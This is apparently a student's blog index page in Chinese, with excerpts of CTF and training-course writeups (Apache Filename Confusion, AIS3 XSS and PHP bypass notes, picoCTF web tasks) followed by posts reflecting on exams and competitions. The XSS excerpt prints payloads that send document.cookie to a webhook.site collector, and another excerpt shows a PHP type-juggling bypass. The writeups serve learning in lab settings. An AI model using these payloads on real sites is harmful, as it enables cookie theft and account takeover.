Filename Confusion | Writeup

Apache 是什麼?模組是幹嘛? Apache 是高度模組化的 Web 伺服器;處理一個 HTTP 請求時,很多模組會共同讀寫 request_rec 的欄位(如 r->filename、r->args)。不同模組對同一欄位的「語意」若不一致,就可能誤判。Orange Tsai 的研究把這些不一致系統化,歸納出三大類 Confusion 攻擊,其中之一就是 Filename Confusion。 Filename Confusion 的核心: 多個模組對 r->filename 的理解不同——有的把它當檔案路徑,有的把它當URL。這種不一致會造成安全問題。 關鍵:URL 編碼 %3F 在網址裡 ? 代表「後面是 query string」。 如果要在網址中表示字面上的 ?,需要 URL 編碼:? → %3F。 Apache 在不同處理階段可能把 %3F 解回 ?,這就是漏洞能被利用的時機差。 1. RewriteRule(mod_rewrite) RewriteRule 是 mod_rewrite 用來改寫 URL的指令。語法: 1 RewriteRule Pattern Substitution [Flags] Pattern(樣式):正則表達式,用來比對目前請求的 URL 路徑。 Substitution(替換結果):匹配後要改到哪裡(可為檔案路徑或 URL)。可用 $1、$2 這類反向引用插入 Pattern 抓到的內容。 Flags(旗標,可選):放在 [] 內,調整這條規則的行為,例如: L:命中後停止再處理後續規則(Last)。 QSA:保留原始 query string 並附加到新 URL。 H=…:指定處理器(Handler),例如 H=application/x-httpd-php。 ...

August 13, 2025 · 3 分鐘 · 李柏毅

AIS3 Junior|Writeup 前端XSS題目筆記

8/11 前端作業:XSS 四題 事前準備 先在 webhook.site 建立收件端 URL,等會把 cookie/文字打回來。 1) Note Sharing(Stored XSS) 步驟 以 alert(1) 驗證可執行: 1 2 3 <script> alert(1) </script> 改成把 cookie 打到 webhook(依題目需求把 https 改成 http 再送 Bot): 1 2 3 4 <script> fetch("https://webhook.site/1c619e04-5067-4673-ad17-2d015541ba43?cookie=" + encodeURIComponent(document.cookie)); </script> 到 webhook 後台查看回傳內容/flag。 原理:未過濾的使用者輸入被直接渲染為 HTML,<script> 會執行(Stored XSS)。 2) Note Sharing with innerHTML(DOM XSS) 步驟 不能直接用 alert() 時,改用圖片錯誤事件觸發並回傳 cookie: 1 <img src=x onerror=fetch('https://webhook.site/1c619e04-5067-4673-ad17-2d015541ba43?c='+(document.cookie))> 送 Bot,於 webhook 收到資料。 ...

August 11, 2025 · 1 分鐘 · 李柏毅

AIS3 Junior|Writeup 後端筆記

1) phpisbest — 鬆散比較 + 陣列繞過 原始重點(節錄) 1 2 3 4 // 重點判斷條件 if (isset($A,$B) && $A != $B && strcmp($A,$B) == 0 && md5($A) == md5($B)) { echo $flag; } 我用的 Payload /index.php?A[]=1&B[]=2 原理簡述 strcmp(array, array) 參數型別錯誤 → 回傳 null,而 null == 0 成立,所以通過 == 0 檢查。 md5(array) 也會回傳 null,null == null 成立。 前置 A != B:[1] != [2] 為真,所以能一路通關。 備註:不需要找 MD5 碰撞;這裡靠 型別錯誤→null + 鬆散比較 就足夠!! 2) uploader-waf — MIME + 副檔名大小寫繞過 原始重點(節錄) 1 2 3 4 if ($_FILES['file']['type'] === "image/png") { $ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION); if ($ext !== "php") { /* 允許上傳 */ } } 步驟(我實作) ...

August 11, 2025 · 2 分鐘 · 李柏毅

AIS3 Junior | WebCTF Writeup

第一題:GET aHEAD — Description Find the flag being held on this server to get ahead of the competition 我的作法 我用 Burp Suite 截取網站請求,分別點了網站上的兩個按鈕觀察 POST 請求。把其中的: POST /index.php HTTP/1.1 改成: HEAD /index.php HTTP/1.1 改送之後,回應(HTTP/1.1 200 OK)裡就直接包含了 flag 與 Content-type 資訊。 取得到的內容 HTTP/1.1 200 OK flag: picoCTF{r3j3ct_th3_du4l1ty_82880908} Content-type: text/html; charset=UTF-8 把 POST 改成 HEAD 來看回應;有些題目會把敏感資訊放在標頭或回應中,直接露出 flag。 第二題:Cookies — Description Who doesn’t love cookies? Try to figure out the best one. 我的作法 這題是盲測 Cookie。我打開瀏覽器 F12 → Application → Cookies,看到 name 的 value 一開始是 0。我就從 0 一直測到 17,頁面會顯示不同的 Cookie 名稱;當數值測到 18 的時候,頁面就顯示出 Flag。 ...

August 10, 2025 · 2 分鐘 · 李柏毅

AIS3 Junior|Writeup 基礎題目筆記

第一題:GET aHEAD — Description Find the flag being held on this server to get ahead of the competition 我的作法 我用 Burp Suite 截取網站請求,分別點了網站上的兩個按鈕觀察 POST 請求。把其中的: POST /index.php HTTP/1.1 改成: HEAD /index.php HTTP/1.1 改送之後,回應(HTTP/1.1 200 OK)裡就直接包含了 flag 與 Content-type 資訊。 取得到的內容 HTTP/1.1 200 OK flag: picoCTF{r3j3ct_th3_du4l1ty_82880908} Content-type: text/html; charset=UTF-8 把 POST 改成 HEAD 來看回應;有些題目會把敏感資訊放在標頭或回應中,直接露出 flag。 第二題:Cookies — Description Who doesn’t love cookies? Try to figure out the best one. 我的作法 這題是盲測 Cookie。我打開瀏覽器 F12 → Application → Cookies,看到 name 的 value 一開始是 0。我就從 0 一直測到 17,頁面會顯示不同的 Cookie 名稱;當數值測到 18 的時候,頁面就顯示出 Flag。 ...

August 10, 2025 · 2 分鐘 · 李柏毅

APCS|三次應試的紀錄與反思

我把這次 APCS 的成績,當作一次誠實盤點:哪些做對、哪些只是運氣、哪些需要在日常慢慢補齊。 身在資源較少的環境,成績可喜,但更想保留一點謙虛與清醒。 ...

June 30, 2025 · 1 分鐘 · 李柏毅

技術與責任|走上台分享我的專案與競賽歷程

今天很榮幸受外部補習班邀請,分享我過去的專案作品與競賽經驗。 台下拋來的每一個問題,都是我的「即時測驗」; 而站上台,對我來說不只是曝光,而是一種責任與信任。 ...

June 29, 2025 · 1 分鐘 · 李柏毅

Erupture 全球創客松|台灣與亞洲區複賽入圍

比賽日期: 2025/06/19(四) 主辦單位: 美國柏克萊大學 UC Berkeley 官方加速器 SkyDeck 之國際級創新競賽 成就: 入圍全球創客松,進入 台灣初賽→國內區域複賽(亞洲區賽段) ...

June 19, 2025 · 1 分鐘 · 李柏毅

第二十四屆旺宏科學獎|參賽紀錄與反思

這次參加 第二十四屆旺宏科學獎(資訊組),我們沿用南區科展的研究作為基礎,持續打磨再提交。雖然最終未入圍,但在更嚴格的評選標準下,我們把一次參賽變成一次面向專業標準的總體檢。 ...

May 8, 2025 · 1 分鐘 · 李柏毅

全民 e 化資訊運動會|雙科第一名後的安靜反思

程式素養 97.5(第一名)、資訊科技概論 97.5(第一名)——兩科皆為選擇題 (程式素養第一名證書) (資訊科技概論第一名證書) 拿到成績的當下其實很開心,但冷靜下來後,我更想把這次比賽當成一次誠實盤點:哪些地方做對了、哪些只是運氣好、還有哪些看不見的缺口,需要在日常慢慢補起來。 我怎麼準備(針對選擇題的節奏與心法) 這次兩科都是選擇題,我把練習重點放在「題目→觀念→再題目」的循環: 先用題目找盲點(不要急著看解答)。 回去補相對應的核心觀念,而不是只記解法。 再回題目驗收,把「似懂非懂」變成「說得清楚」。 作答時我刻意放慢第一輪步調,優先把送分題與觀念清晰題收下;遇到容易糾結的敘述,我會先標記跳過,等情緒回穩再處理。這樣做,不是求快,而是求穩。 科目一|Python 程式素養(選擇題,觀念為主) 題目多在測:基本語法、資料型態與容器、open() 檔案操作、json 的讀寫、例外處理,以及看到一小段程式能不能正確推演輸出或副作用。 這些是我這次特別有感的幾個小點: open() 模式:r / w / a / b 的差異、with open(...) as f: 的習慣、覆寫 vs 追加。 json 四兄弟: json.loads() / json.dumps():處理字串 json.load() / json.dump():處理檔案物件 容易在考場把 load/loads 混用,這次我有先做對照表,臨場比較安定。 容器與型別:list / dict / set / tuple 的語意差異;可變/不可變、淺拷貝/深拷貝。 推導式與常見內建:len / sum / max / min / sorted / enumerate / zip,以及推導式的評估順序。 例外處理:try / except / finally 的執行序,還有變數在 except 內的作用域。 小提醒(也是我的易錯):字串編碼、整除 vs 浮點、索引邊界,常在緊張時出錯;看關鍵字與單位能救回不少分數。 ...

April 27, 2025 · 1 分鐘 · 李柏毅